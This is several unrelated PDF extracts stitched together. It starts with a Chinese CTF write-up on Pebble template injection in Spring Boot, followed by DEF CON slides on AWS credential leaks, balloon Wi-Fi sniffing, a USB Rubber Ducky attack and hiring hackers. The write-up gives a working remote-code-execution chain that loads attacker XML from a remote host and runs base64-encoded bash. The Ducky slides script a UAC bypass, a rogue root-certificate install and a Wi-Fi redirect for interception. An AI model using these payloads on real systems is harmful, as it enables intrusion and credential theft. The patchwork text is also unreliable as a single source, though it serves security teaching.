mvcConversionService mvcValidator mvcContentNegotiationManager mvcPatternParser mvcUrlPathHelper mvcPathMatcher viewControllerHandlerMapping beanNameHandlerMapping routerFunctionMapping resourceHandlerMapping mvcResourceUrlProvider defaultServletHandlerMapping handlerFunctionAdapter mvcUriComponentsContributor httpRequestHandlerAdapter simpleControllerHandlerAdapter handlerExceptionResolver mvcViewResolver mvcHandlerMappingIntrospector viewNameTranslator org.springframework.boot.autoconfigure.web.servlet.WebMvcAutoConfiguration $WebMvcAutoConfigurationAdapter defaultViewResolver viewResolver requestContextFilter org.springframework.boot.autoconfigure.web.servlet.WebMvcAutoConfiguration formContentFilter com.mitchellbosecke.pebble.boot.autoconfigure.PebbleServletWebConfiguratio n pebbleViewResolver com.mitchellbosecke.pebble.boot.autoconfigure.PebbleAutoConfiguration springExtension pebbleEngine pebble-com.mitchellbosecke.pebble.boot.autoconfigure.PebbleProperties org.springframework.boot.autoconfigure.jmx.JmxAutoConfiguration mbeanExporter objectNamingStrategy mbeanServer org.springframework.boot.autoconfigure.admin.SpringApplicationAdminJmxAuto Configuration springApplicationAdminRegistrar org.springframework.boot.autoconfigure.aop.AopAutoConfiguration$ClassProxy ingConfiguration forceAutoProxyCreatorToUseClassProxying org.springframework.boot.autoconfigure.aop.AopAutoConfiguration org.springframework.boot.autoconfigure.availability.ApplicationAvailabilit yAutoConfiguration applicationAvailability org.springframework.boot.autoconfigure.jackson.JacksonAutoConfiguration$Ja ckson2ObjectMapperBuilderCustomizerConfiguration standardJacksonObjectMapperBuilderCustomizer spring.jackson- org.springframework.boot.autoconfigure.jackson.JacksonProperties org.springframework.boot.autoconfigure.jackson.JacksonAutoConfiguration$Ja cksonObjectMapperBuilderConfiguration jacksonObjectMapperBuilder org.springframework.boot.autoconfigure.jackson.JacksonAutoConfiguration$Pa rameterNamesModuleConfiguration parameterNamesModule org.springframework.boot.autoconfigure.jackson.JacksonAutoConfiguration$Ja cksonObjectMapperConfiguration jacksonObjectMapper org.springframework.boot.autoconfigure.jackson.JacksonAutoConfiguration jsonComponentModule org.springframework.boot.autoconfigure.context.ConfigurationPropertiesAuto Configuration org.springframework.boot.autoconfigure.context.LifecycleAutoConfiguration lifecycleProcessor spring.lifecycle- org.springframework.boot.autoconfigure.context.LifecycleProperties org.springframework.boot.autoconfigure.http.HttpMessageConvertersAutoConfi guration$StringHttpMessageConverterConfiguration stringHttpMessageConverter org.springframework.boot.autoconfigure.http.JacksonHttpMessageConvertersCo nfiguration$MappingJackson2HttpMessageConverterConfiguration mappingJackson2HttpMessageConverter org.springframework.boot.autoconfigure.http.JacksonHttpMessageConvertersCo nfiguration org.springframework.boot.autoconfigure.http.HttpMessageConvertersAutoConfi guration messageConverters org.springframework.boot.autoconfigure.info.ProjectInfoAutoConfiguration spring.info- org.springframework.boot.autoconfigure.info.ProjectInfoProperties org.springframework.boot.autoconfigure.sql.init.SqlInitializationAutoConfi guration spring.sql.init- org.springframework.boot.autoconfigure.sql.init.SqlInitializationPropertie s org.springframework.boot.sql.init.dependency.DatabaseInitializationDepende ncyConfigurer$DependsOnDatabaseInitializationPostProcessor org.springframework.boot.autoconfigure.task.TaskSchedulingAutoConfiguratio n scheduledBeanLazyInitializationExcludeFilter taskSchedulerBuilder spring.task.scheduling- org.springframework.boot.autoconfigure.task.TaskSchedulingProperties 之后也算运⽓好,测了前⼏个就发现通过取得internalCachingMetadataReaderFactory对象可以 拿到classLoader org.springframework.boot.autoconfigure.web.client.RestTemplateAutoConfigur ation restTemplateBuilderConfigurer restTemplateBuilder org.springframework.boot.autoconfigure.web.embedded.EmbeddedWebServerFacto ryCustomizerAutoConfiguration$TomcatWebServerFactoryCustomizerConfiguratio n tomcatWebServerFactoryCustomizer org.springframework.boot.autoconfigure.web.embedded.EmbeddedWebServerFacto ryCustomizerAutoConfiguration org.springframework.boot.autoconfigure.web.servlet.HttpEncodingAutoConfigu ration characterEncodingFilter localeCharsetMappingsCustomizer org.springframework.boot.autoconfigure.web.servlet.MultipartAutoConfigurat ion multipartConfigElement multipartResolver spring.servlet.multipart- org.springframework.boot.autoconfigure.web.servlet.MultipartProperties org.springframework.aop.config.internalAutoProxyCreator 因此有了这个我们便可以加载任意类了 但是我们需要获得⼀个类实例,但是我们不能去调⽤它的任何⽅法毕竟是class类,很好的⼀ 点是这⾥有jackson ,beans对象⾥也能直接获取到,解决⼀切问题 {% set class1= beans.get("org.springframework.boot.autoconfigure.internalCachingMetadataR eaderFactory").resourceLoader.classLoader.loadClass("xxxx") %} 因此我们能获得⼀个类的实例以后rce就相对“简单”了 ,⽐如说 但题⽬当中环境是jdk18,发现engineManager.getEngineByName⾥⾯裤⼦都不剩了啥都没有, 看来这个⽅法也是没⽤的,同时由于jackson实例化限制我们也不能直接实例化jshell 此时灵机⼀动我又想到两个类,它们实例化加载配置⽂件可以造成rce org.springframework.context.support.ClassPathXmlApplicationContext org.springframework.context.support.FileSystemXmlApplicationContext 但是脸⿊啊,环境⾥⾯jackson有限制,继承了 AbstractPointcutAdvisor/AbstractApplicationContext这两个类的都不⾏,⼼⾥xxx 这时候怎么办呢?那classpath下有没有某个类可以帮助我们实例化任意对象呢? {% set woshishuaibi = beans.get("jacksonObjectMapper").readValue("{}", class1) %} ScriptEngineManager engineManager = new ScriptEngineManager(); ScriptEngine engine = engineManager.getEngineByName("js"); engine.eval("xxxx"); 另类绕过Jackson⿊名单限制 当然有哒!也就是java.beans.Beans类,这个类可以帮助我们实例化任意⽅法 这⾥的参数cls可以不传,为null则会默认调⽤ClassLoader.getSystemClassLoader();获取⼀个 classloader public static Object instantiate(ClassLoader cls, String beanName) throws IOException, ClassNotFoundException {  return Beans.instantiate(cls, beanName, null, null); } public static Object instantiate(ClassLoader cls, String beanName,                                 BeanContext beanContext,                                 AppletInitializer initializer)  throws IOException, ClassNotFoundException {  InputStream ins;  ObjectInputStream oins = null;  Object result = null;  boolean serialized = false;  IOException serex = null;  // If the given classloader is null, we check if an  // system classloader is available and (if so)  // use that instead.  // Note that calls on the system class loader will  // look in the bootstrap class loader first.  if (cls == null) {    try {      cls = ClassLoader.getSystemClassLoader();   } catch (SecurityException ex) {      // We're not allowed to access the system class loader.      // Drop through.   } } 之后的逻辑我们不需要关注那个⼆次反序列化的部分,在后⾯可以看到可以实例化任意public修 饰的构造⽅法 最终构造实现RCE if (result == null) {  // No serialized object, try just instantiating the class  Class<?> cl;  try {    cl = ClassFinder.findClass(beanName, cls); } catch (ClassNotFoundException ex) {    // There is no appropriate class. If we earlier tried to    // deserialize an object and got an IO exception, throw that,    // otherwise rethrow the ClassNotFoundException.    if (serex != null) {      throw serex;   }    throw ex; }  if (!Modifier.isPublic(cl.getModifiers())) {    throw new ClassNotFoundException("" + cl + " : no public access"); }  /*             * Try to instantiate the class.             */  try {    result = cl.newInstance(); } catch (Exception ex) {    // We have to remap the exception to one in our signature.    // But we pass extra information in the detail message.    throw new ClassNotFoundException("" + cl + " : " + ex, ex); } } 最终模板⽂件构造 1.xml 本地弹出了计算器,那么现在则可以开始着⼿解题了, 构造命令 ./getflag > /tmp/flag {% set y= beans.get("org.springframework.boot.autoconfigure.internalCachingMetadataR eaderFactory").resourceLoader.classLoader.loadClass("java.beans.Beans") %} {% set yy = beans.get("jacksonObjectMapper").readValue("{}", y) %} {% set yyy = yy.instantiate(null,"org.springframework.context.support.ClassPathXmlAppli cationContext") %} {{ yyy.setConfigLocation("http://xxxx/1.xml") }} {{ yyy.refresh() }} <?xml version="1.0" encoding="UTF-8" ?>    <beans xmlns="http://www.springframework.org/schema/beans"       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"       xsi:schemaLocation="     http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">        <bean id="pb" class="java.lang.ProcessBuilder" init- method="start">            <constructor-arg >            <list>                <value>open</value>                <value>-a</value>                <value>calculator</value>            </list>            </constructor-arg>        </bean>    </beans> 先⽤burp狂轰乱炸,看到页⾯有回显的说明执⾏成功 <?xml version="1.0" encoding="UTF-8" ?>    <beans xmlns="http://www.springframework.org/schema/beans"       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"       xsi:schemaLocation="     http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">        <bean id="pb" class="java.lang.ProcessBuilder" init- method="start">            <constructor-arg >            <list>                <value>bash</value>                <value>-c</value>                <value>echo Li9nZXRmbGFnID4gL3RtcC9mbGFn|base64 -d|bash - i</value>            </list>            </constructor-arg>        </bean>    </beans> 再包含进来就ok了 参考⽂章 远古pebble模板注⼊payload Determine if a Process Runs Inside a Container
pdf
“Get Off of My Cloud”: Cloud Credential Compromise and Exposure Ben Feinstein & Jeff Jarmoc Dell SecureWorks Counter Threat Unit℠ 2 The Public Cloud 3 Brief Introduction to the Amazon Cloud • First, some terminology and definitions… • Amazon Web Services (AWS) • Elastic Compute Cloud (EC2) • Amazon Machine Image (AMI) • Simple Storage Service (S3) • Elastic Block Store (EBS) 4 AWS Security Credentials • Access Credentials – Access Keys – X.509 Certificates – Amazon EC2 Key Pairs – Amazon CloudFront Key Pairs • Sign-In Credentials – Email Address & Password – AWS Multi-Factor Authentication Device (optional) • Account Identifiers – AWS Account ID – Canonical User ID 5 AWS Access Credentials: Access Keys • Each Access Key has a public and a secret part – Access Key ID › Unique identifier, Included in each API request – Secret Access Key › Used to calculate a digital signature included in each API request › Amazon validates digital signature to ensure authenticity of each API request • Managed via “Access Keys” tab of “AWS Security Credentials” page – [screenshot] • Used for making requests to AWS product REST or Query APIs • Used for SOAP APIs of Amazon S3 and Amazon Mechanical Turk • Used for making requests to Amazon CloudFront control API • For security purposes, Amazon recommends rotating Access Keys every 90 days 6 Managing Access Keys 7 AWS Access Credentials: X.509 Certificates • AWS can generate certificate and private key files, or user can provide their own certificate – Trade-off of convenience versus security • Managed via “X.509 Certificates” tab of “AWS Security Credentials” page – [screenshot] • Used for making requests to AWS product SOAP APIs – … with the exception of Amazon S3 and Amazon Mechanical Turk • Also used for “bundling” AMIs, which are encrypted and signed using user’s certificate and private key • For security purposes, Amazon recommends replacing X.509 Certificates every 90 days 8 Managing X.509 Certificates 9 AWS Access Credentials: EC2 Key Pairs • Created and managed with Amazon EC2 API, or any interface or tool using the API – e.g., AWS Management Console – [screenshot] • Comprised of a private key, public key and a key pair name • Used for launching and connecting to Amazon EC2 instances – For Linux/UNIX EC2 instances, used for root SSH access – For administrative Remote Desktop access to Windows instances, private key is used in API call to retrieve and decrypt the administrator password • No explicit security recommendations from Amazon about key pair rotation 10 AWS Management Console: Key Pairs 11 AWS Access Credentials: CloudFront Key Pairs • AWS can generate the key pair for you, or user can provide their own • Trade-off of convenience versus security • Amazon states that while they generate the private key on user’s behalf, they do not store it anywhere • Comprised of a private key, public key and a key pair name • Used to generate signed URLs for access to private Amazon CloudFront content • For security purposes, Amazon recommends rotating Amazon CloudFront key pairs every 90 days • CloudFront also uses Access Keys to authenticate requests to CloudFront control API 12 Managing Amazon CloudFront Key Pairs 13 AWS Sign-In Credentials: E-mail Address and Password • Simply an Amazon.com account that is activated for AWS services • Used for access to secure areas of AWS web site • Used to access AWS Management Console • Used to access AWS Discussion Forums and AWS Premium Support • Amazon’s recommended password complexity – Minimum of 8 characters – Include both uppercase and lowercase letters – Include at least 1 numeric digit – Include at least one special character • AWS Multi-Factor Authentication is recommended for additional protection • Does not appear password complexity is enforced 14 AWS Sign-In Credentials: Multi-Factor Authentication • Optional AWS account feature recommended for additional security • Second factor is a six-digit code generated by user’s authentication device • Currently supports Gemalto Ezio Time Token – Available for $12.99 in the “Gemalto Webstore for AWS Users” • Only protects some Amazon web properties – Secure pages on the AWS Portal – AWS Management Console – Notably, does not protect AWS Premium Support site • Does not protect AWS service APIs 15 AWS Account Identifiers • Each AWS account has two unique IDs – ( why have one when you can have two, twice as good! ) • AWS Account ID – 12 digit number (AWS Account ID without the hyphens) – Used to bundle Linux/UNIX AMIs – Used to share AWS resources with other AWS accounts › Amazon EC2 AMI › Amazon EBS snapshot › Amazon SQS queue • Canonical User ID – Used to share Amazon S3 resources with other AWS accounts 16 Prior Research • “Cloud Computing Models and Vulnerabilities: Raining on the Trendy New Parade”, Alex Stamos, Andrew Becherer, Nathan Wilcox, Black Hat USA 2009 / DEF CON 17 http://www.sensepost.com/blog/3797.html https://www.blackhat.com/html/bh-usa-09/ bh-usa-09-speakers.html#Stamos • Demonstrated method to get prime placement in AWS list of available AMIs • Demonstrated ease of getting users to run an untrustworthy AMI 17 Precendent “Cloud Security: Amazon's EC2 serves up 'certified pre-owned' server images”, April 11th, 2011, Alen Puzic, TippingPoint DVLabs http://dvlabs.tippingpoint.com/blog/2011/04/11/cloud-security-amazons- ec2-serves-up-certified-pre-owned-server-images 18 Our Work • Understanding of AWS credential types and their “order of precedence” • Understanding of common mistakes / pitfalls • Tools to detect credential exposure within images • Tools to detect malicious images / backdoor’d images • Experiment to quantify scale of potential victims of a malicious AMI • Consistent with our reading of the “Amazon Web Services Customer Agreement” and the “Amazon Web Services Terms of Use” 19 Related Research • Apparently, we weren’t the only ones working on this problem! • Center for Advanced Security Research Darmstadt – Prof. Dr.-Ing. Ahmad-Reza Sadeghi, Dr.-Ing. Thomas Schneider, Sven Bugiel, Stefan Nürnberger, and Thomas Pöppelmann – http://trust.cased.de/AMID • AMI aiD (AMID) tool released on Google Code – http://code.google.com/p/amid/ 20 Mistakes When Creating a Public or Shared AMI • AMI filesystem – AWS Cert + Private Key – SSH Key Pairs – SSL certs and private keys • Bash history files containing environmental variable exports or command-line usage of credentials (e.g., Secret Access Key) • Bash profile (e.g., .bashrc, .bash_profile) containing environmental variable exports • Contents of .viminfo files 21 Signs of a Compromised / Malicious AMI • SSH authorized keys • Rootkits • Trojaned binaries (e.g., sshd) • Open sockets (e.g., reverse shell / connect back) • Trojaned custom Xen kernel 22 Expanding upon prior work on “Evil AMIs” • Black Hat USA 2009 / DEF CON 17, Stamos et. al. • We know victims are easy to find, but lets quantify this with data • What size of instances? • How many instances being launched in tandem? • What AWS Regions and Availability Zones being launched in? • Would the instance’s AWS Security Group (i.e., EC2 firewall policy) have prevented remote SSH access, in case of a SSH authorized key? 23 AMIexposed tool • An extensible framework for scanning AMIs for common credential leakage and security problems • Uses Amazon's APIs to automate – Generation of a list of images within scope – Launch instances of each image – Run tests via SSH session – Record findings to a database 24 AMIexposed: Test Modules • Presence of SSH authorized_keys – Potential backdoor • Presence of SSH identity keys – Can be used to gain illicit access to other hosts • Presence of AWS x.509 certificate (.pem) files – Can be used to tamper with publisher's EC2 account • Active connections to other hosts – Potential backdoors • SSH Password authentication enabled 25 Tests Against Discovered System Files • .bash_history, .vim_info, .bash_profile, .bashrc (in any path) and • Anything found under Bash /etc/profile.d • AWS Access Key or Secret Key strings – Can be used to gain full access to owner's EC2 account • Canonical ID – Identifies an AWS account for use with S3 • AWS Account ID – Identifies an AWS account • Environment variable names which commonly point to these values 26 Results and Findings • Findings being coordinated with Amazon Web Services security team • To be presented during DEF CON presentation, with updated slides available online after presentation 27 New Guidance from Amazon • Amazon EC2 User Guide: “Sharing AMIs Safely” – http://docs.amazonwebservices.com/AWSEC2/latest/UserGuide/index.ht ml?AESDG-chapter-sharingamis.html • AWS Security Bulletin: “Reminder about Safely Sharing and Using Public AMIs”, 2011-06-04 – http://aws.amazon.com/security/security-bulletins/reminder-about- safely-sharing-and-using-public-amis/ • AWS Tutorial: “How To Share and Use Public AMIs in A Secure Manner”, 2011-06-07 – http://aws.amazon.com/articles/0155828273219400 28 Obtaining Trustworthy Amazon Machine Images? • Amazon Web Services provides supported and maintained images – Support available with subscription to AWS Premium Support service – Security updates available via AWS package repositories – Predictable and documented Product Lifecycle and AMI updates – http://aws.amazon.com/amis • A number of 3rd party vendors also provide their own images • Organizations can use AWS supported and maintained images as a foundation for their own customized images 29 The Good, The Bad and the Suicidal 30 Q & A 31
pdf
WarBallooning – Kismet Wireless Eye in the Sky Presented by: Rick Hill DEFCON 16 Sunday, Aug. 10 WarBallooning Concept Thanks for coming! WarDriving limited visibility in the city $4.00 / Gallon gas means driving less Balloon – better platform than rocket Perfect for covering 5 - 10 mile Urban Areas Questions during talk welcome… Project in a Nutshell Evolved from “WarRocketing” DC14 Good, Bad comparison WarBalloon components Hardware Hacks involved Network Layout & Security Flying the WarBalloon DEFCON 14 Evolved from “WarRocketing” DC14 DEFCON 16 New Platform: Balloon vs. Rocket The Rocket was a novel concept, but… – Explosives permits req’d – Launch only in rural areas – Stumbling limited to parachute drift time Balloon – Helium cost $20/ lb. payload lift – More accepted by authorities – Still restricted near airports 1st Design Sketch – Traffic Cone Design Considerations All components light weight Low Power consumption Safety (H2 = Hindenburg) Wireless SW must be passive - Kismet Secure Network Hardware Components Balloon: Professional Aerial Photography WRT54G, v2 Dlink 5220 Security Camera Fiber Optic Transceivers Yagi Antenna, Omni Antenna Container: thank you Igloo Cooler Co! Software Components Kismet Server, Drone Talisman 1.3.6 Web Browser: Dlink 5220 view & control Suse Linux Flite Festival Speech Synthesis Sofware Kismac UNIX utilities: ssh v2, etc. HW / SW Hacks WRT54G – install Talisman, ssh, Kismet drone Move antenna connector Remove case Mount in Igloo “Mini-Mate” HW / SW Hacks WRT54G HW / SW Hacks DLink 5220 Camera – install antenna Igloo Mount HW / SW Hacks Fiber Optic Link Inherently Secure High Bandwidth Low Weight – 50 meters / 1.5 lbs Use regular multimode fiber HW / SW Hacks Fiber Optic Transceiver – Case removal HW / SW Hacks Completed Payload IP Based Robotics DLINK 5220 consists of a CCD camera, web server, and pan & tilt controller As the Pan motor is quite strong, we’re using it to aim the high gain antenna @ stumbling targets Speed, camera focus, snapshots, MPEG video’s all controllable via the web- interface IP Based Robotics Other IP Robotics Phy2Phy Project-> http://phy2phy.wikidot.com/start SCADA – IP control of Industrial Systems – MODICON PLC’s – Siemens PLC’s – http://www.controlbyweb.com/products.html IP Based Robotics Security is the Achilles Heel Digital Bond has done pioneering work in SCADA Security – Nessus Plugin’s for SCADA systems – Homeland Security – Department of Energy – http://www.digitalbond.com/ Network Sketch Balloon Network • WRT54G – Passive Monitoring Only, Data streamed to Kismet Server on ground Hard Drive (HD) DLINK 5220 Camera & AP: – Web Server used to Control Camera & Antenna Movement – Camera AP -> Disabled – Video Streamed -> Ground HD – Verizon Aircard –> Possible EVDO link to Internet – Cell phone Browsing of Aerial Pics Balloon Network - Security Security Considerations: – Closed Network - Fiber Optic Transmission – SSH & Certificates – Command Line Access to WRT54G – AP Not Possible in Drone Mode (IDS) – DDNS Use Flying the WarBalloon Biggest Challenge: – Not building the WarBalloon – FAA Approval Letter to Las Vegas Terminal Radar Approach Control (TRACON) Flying the WarBalloon Subject: Proposed Balloon Display over the Riviera Hotel. Sent By: [email protected] On: May 12, 2008 To: [email protected] (FAA Las Vegas ATC) Sir: Thanks for taking time to talk to me (FRI) concerning FAA regulations for Moored Balloons. As we discussed, my group would like to fly a Balloon during the annual DEFCON convention to be held at the Riviera Convention Center, AUG 8-10, 2008. We understand that safety is of paramount importance as the Riviera is located < 5 miles from Las Vegas Airport (LAS). As you requested, following is the Balloon Description & Tentative Operating Plan: Balloon to be flown is a maximum 6 ft. diameter unit with a 113 cu. ft. Helium capacity, (to be purchased from Southern Balloon Works. Note this is a commercial advertising Balloon similar to the ones flown by Car Dealerships… Flying the WarBalloon Operation: the Balloon (unmanned) is to be moored via the supplied tether line from the edge of the Riviera convention center, monitored at all times, and flown at less than 150 ft. AGL, daylight operation only. Balloon will have a 3.5 lb. payload. For safety it is equipped with a self-deploying parachute capable of lowering the payload gently to the ground in case of Balloon failure (bursting.) You also mentioned that nearby building heights could be important: I did some research & found that Turnberry Towers - (adjacent to our flight location) comes in at 477 ft., while Wynn down the street in the other direction is 614 ft. in height. If you would, please review our plan and let us know if you think the proposed operation is feasible, (& legal per FAA 101 regulations.) Appreciate your time and any advice you can offer. Regards, Rick Hill Crazy Man OK, so a Laptop & Lawn Chair did come to mind. (I do NOT recommend) Flying the WarBalloon Virginia Test Flight – 29 JUN Flying the WarBalloon VA Test Flight Flying the WarBalloon VA Test Flight – No AP’s here- Tornados Flying the WarBalloon Kismet Output Summary Aerial platforms do provide superior LOS to WIFI targets. Wind is not your friend: – No Wind: perfect for directional antenna – 5 MPH: OK – 10 MPH: Use the OMNI – 15 MPH: Forget It! DEFCON Results: TBD QUESTIONS? Now or drop by The Wireless Village Breakout Area Thanks!
pdf
USB Attack to Decrypt Wi-Fi Communications Presented by: Jeremy Dorrough Disclaimer Opinions expressed in this presentation are my own. I am speaking for myself, not Genworth, nor anyone else. Image Source: iwishisaidthat.com About Me • 10+ years in IT Security industry • Worked in defense, utility & financial sectors • Currently a Network Security Engineer at Genworth • I crash cars for fun Presentation Outline USB Rubber Ducky How the Attack Works Keyboard Payload Mass Storage/Keyboard Payload Demo Questions USB Rubber Ducky Image Source: http://hakshop.myshopify.com/ Firmware Options • Duck – Keyboard Input • FAT Duck – Mass Storage Device • Detour Duck – Multiple Payloads • Twin Duck – Both Keyboard and Mass Storage Device Teensy https://github.com/adamcaudill/Psychson How The Attack Works How The Attack Works How The Attack Works Social Engineer??? DHS Study Performed by idappcom: • 60% Plugged in dropped USB device • 90% Plugged in USB device if case had an official logo http://www.bloomberg.com/news/articles/2011-06-27/human-errors-fuel-hacking-as-test-shows-nothing-prevents-idiocy Image Source: www.qualitylogoproducts.com The Cat and Mouse Game • Anti-Virus • Web filters/Proxy • FTP whitelist • HTTP Strict Transport Security (HSTS) Setup Rogue AP • Hostapd • dnsmasq • Iptables • Alternatively use mana-toolkit Setup MITM Listener • Configure a proxy of your choice • Burpsuite, Squid, SSLStrip, Mallory, etc. • Export the certificate • Convert the certificate to base64 encoding -----BEGIN CERTIFICATE----- MIICxDCCAi2gAwIBAgIEVOdW+zANBgkqhkiG9w0BAQUFADCBijEUMBIGA1UEBhML UG9ydFN3aWdnZXIxFDASBgNVBAgTC1BvcnRTd2lnZ2VyMRQwEgYDVQQHEwtQb3J0 U3dpZ2dlcjEUMBIGA1( )gQWBBTSJrL4vz7JJPJ67CNmrwAnfuTs0zANBgkqhkiG9w0B AQUFAAOBgQCBMulw4WP++I76bfvXQ4RAgNo0DYiasfw4SniawhnfpDE4spV1vjzf IbQQVcetDdnCvSB6YVE0Rv3HQbTZE5r170dOvl4o6Yr3wgFF9sUUqQq+M/Z4wRgg 8OJPgC8PXCmkelAO166m4w7h3DlnQj1cGNdQr5AmMksvEmDvioTz0A== -----END CERTIFICATE----- Burpsuite Proxy Settings Payload Summary 1. Bypass UAC and open CMD.exe 2. Create a new .cer file from keyboard input 3. Add cert.cer to trusted root using certutil 4. Create a wireless profile 5. Connect to wireless profile 6. Clean up Ducky Script API • DELAY [time in milliseconds ] • STRING [standard keyboard entry] • ENTER [Enter key] • GUI [Windows key] • REM [will not be processed] github.com/hak5darren/USB-Rubber- Ducky/wiki/Duckyscript Bypass UAC cmd.exe DELAY 10000 GUI r DELAY 200 STRING powershell Start-Process cmd -Verb runAs Code Used from Darren Kitchen’s UAC bypass Image Source: technet.microsoft.com Create Base64 Certificate STRING copy con cert.cer ENTER STRING -----BEGIN CERTIFICATE----- ENTER STRING MIICxDCCAi2gAwIBAgIEVOdW+zANBgkUMBIGA1UEBhML ENTER STRING UG9ydFN3aWdnZXIxFDASBgNVBAgTC1BvcnRTd2EwtQb3J0 (…) You Trust Me….Right? STRING certutil -addstore -f -enterprise -user root cert.cer Image Source: diariodigitalcolombiano.com …Now Tell Me Your Secrets • Echo xml network profile to a file • Using xml file, create and connect to new Wireless profile Cover your tracks • Delete xml file • Delete rouge certificate All Your Bank Are Belong To Us Internet Explorer Internet Explorer Chrome Chrome Firefox Firefox Twin Duck Firmware • Mounts both mass storage and HID keyboard • Must reflash the USB Rubber Ducky • Only use if target allows mass storage devices • Micro SD card not ideal for fast I/O Create New Firefox Truststore Create New Firefox Truststore • Add Trusted CA to fresh build of Firefox • %APPDATA%\Mozilla\Firefox\Profiles\*.default • Keystore, key3.db • Truststore, cert8.db Twin Duck Attack Summary 1. Bypass UAC and open CMD.exe 2. Create script to identify storage mount 3. Create vbs script to run batch file invisibly 4. Run batch file – Adds cert to Windows Trusted Root – Overwrites Firefox cert8.db and key3.db files – Creates wireless profile – Connects to wireless profile Trusted-cert.bat taskkill /IM Firefox.exe /F copy /Y %DUCKYdrive%\cert.cer %USERPROFILE%\cert.cer certutil -addstore -f -enterprise -user root cert.cer del cert.cer cd %APPDATA%\Mozilla\Firefox\Profiles\*.default copy /Y cert8.db cert8.db.original copy /Y %DUCKYdrive%\cert8.db cert8.db copy /Y key3.db key3.db.original copy /Y %DUCKYdrive%\key3.db key3.db E:\DUCKY Internet Explorer Internet Explorer Chrome Chrome Firefox Firefox Mitigating Controls • Wireless Intrusion Prevention System (WIPS) • Disable mass storage devices • Disable USB ports • User training to encourage responsible USB usage • Multifactor Authentication • Cloud Proxy Agent Demonstration Things to Consider • Use proxy settings pointed to cloud listener • Increasing the authenticity • Syntax changes for different OS • New payloads are frequently released on HAK5 forums Questions Email: [email protected]
pdf
Hackers Hiring Hackers: How to Do Things Better Tottenkoph IrishMASMS Disclaimer This presentation is intended for the attendees and may contain information that is privileged or unsuitable for overly sensitive persons with low self-esteem, no sense of humour, or irrational religious/political beliefs. Those of you with an overwhelming fear of the unknown will be gratified to learn that there is no intended hidden message revealed by reading this warning backwards, so just ignore that alert notice from Microsoft. However, by pouring a complete circle of salt around yourself and your computer, you can ensure that no harm will befall you or your pets. Your mileage & satisfaction may vary, not all warranties apply during all time frames. Confirm these statements with your management before approval & implementation. No individuals or equipment were harmed while producing this presentation, but it was created with recycled electrons. No animals were harmed in the transmission of this document, although if the raccoons keep getting into the trash I may have to do something about it. No individual, organization, or entity can be held liable or be quoted without written consent of the presenters. I speak for no one, no one speaks for me. Who & What are we? Who & What are you? ● Human ● Potentially a hiring manager ● Hacker with little to no work experience in the field ● Hacker with experience looking for their next opportunity Why are we talking about this at DEFCON? ● Lots of talks about how to be a better pen tester and how to use all of the cool new tools, but only a few talks that address what some of us consider to be the hardest part of getting a job in InfoSec: the hiring process. ● We desperately need people with the technical skills hackers have ● Both sides of the table are doing horribly when it comes to hiring and interviewing for work. Why are we talking about this at DEFCON? This talk takes our experiences (and that of others in the community) as both interviewers and interviewees in order to help better prepare hackers to enter (or move within) “the industry”. We also want to let the people making hiring decisions know what they can do to get the people and experience they need. Why are we talking about this at DEFCON? ● “It is hard to find people to hire” ● We scare and confuse some HR and recruiters ● We (hackers and hiring managers alike) keep shooting ourselves in this process ● Getting and retaining talent is in some ways a social engineering exercise Social Engineering Exercise (Hiring Manager’s Perspective) ● Get individuals interested in applying ● Avoid bottlenecks at HR ● Finding an appropriate offer that upper management approves of ● The acceptance of the offer by the candidate ● Having the candidate show up on day one and onboarded ● Nurturing the candidate so they grow personally and professionally Social Engineering Exercise (Job Hunter’s Perspective) ● Writing a convincing resume/cover letter to get past the HR gateway ● The interviewing process (hiring managers and beyond) ● Get (or negotiate) a suitable offer ● Show up on day one & onboarding EXPECTATIONS Core Problem aka Opportunity #1 Expectations "Can't find anyone to hire!" vs "Must work in our corporate office in Wichita, initially on a six month contract to fire with rotating SOC shift cycle!" Winn Schwartau talks about “Hiring the UnHireable” “... intentionally or not—is create a sub-category of talent whom we will never hire. The Unhireable. ...” http://techspective.net/2015/07/06/hiring-the-unhireable-its-time-we-get-over-ourselves/ Hiring the UnHireable What do you want? ● Expectations for jobs can be unclear ○ The job title may say a “Junior” or “Entry-level”, but then it asks for CISSP certification or 5 years of experience ● Position Description (PD) could be all over the map, looking for jack of all trades (master of none) ● Folks looking to break into InfoSec end up either applying for everything or nothing ○ They honestly have no idea what hiring managers are looking for, but they want to try regardless. Tell us what you want What you really, really want? ● Be clear with what the job will entail ● If you want a log monkey, say you want a log monkey What do you want? ● What really matters? ○ To your environment, your team, the biz? ● Experience? ○ Entry-level or someone more senior ● Certs and/or a degree? ● Do not ask for things “just because” ○ Limits your pool of applicants ● What level of experience can you afford? Certifications? Degree? ● What really matters? ● What certifications can you afford? ● Discrimination? Scope? ● Dedicated role ○ Analyst (Digging through the data) ○ Engineer (Running the toolsets) ○ Architect (Strategic view) ○ Forensics ○ Malware ○ Penetration tester ● Application vs Network/System Security ○ Vendor, developer of software/hardware ALL THE THINGS! ● ‘Jack of all trades’? ○ Master of none ○ Consider career growth ○ Health and welfare of team ○ Burnout Where do they fit? ● Organizational fit ● Direct report ○ Reporting to IT? Legal? ■ Consider potential conflicts of interest ○ Startups: a Security Architect is not a replacement for a CISO Hacker Expectations ● Apply, and the job is yours! ○ For as much money as you want! ○ With no bureaucracy to deal with! ○ All the tools you want - or the freedom to create your own! ○ With a free pass to hacker summer camp! THE APPLICATION PROCESS Core Problem aka Opportunity #2 The Application Process ● Preparation by both parties should be done before the first calls are made to set up an interview ○ Seldom done, let alone done well ● Timing is everything ○ Candidate could have finished the application process, hired, and started elsewhere before you send your first reply How Do you Find Candidates? ● Involvement in ○ Local IT & InfoSec communities/Meetups ○ Mailing lists & forums ○ Local tech/college professional meetings ● Posting online ○ Monster, CareerBuilder, Beyond, etc. ○ Craigslist ○ Reddit ○ Closed IT/InfoSec communities & lists How Do you Find Candidates? ● One of your obligations as a hiring manager, as a leader in InfoSec is to nurture talent in our field ● Your involvement in the local groups helps promote & screen HR/recruiter teams ● Paid recruiters, overseas body shops ● Recruiter roadblocks ○ Sends the screening questionnaire, expecting the applicant to do their work ■ Starts off with a poor experience ■ Candidates will go elsewhere ● Your HR/recruiting staff and their initial contacts and conversations with candidates set the tone for the process, ensure they are good ones ○ Sets up expectations for the next step(s) Consider the types of questions ● Carefully consider the types of questions you want to ask BEFORE the interview ● Respect the 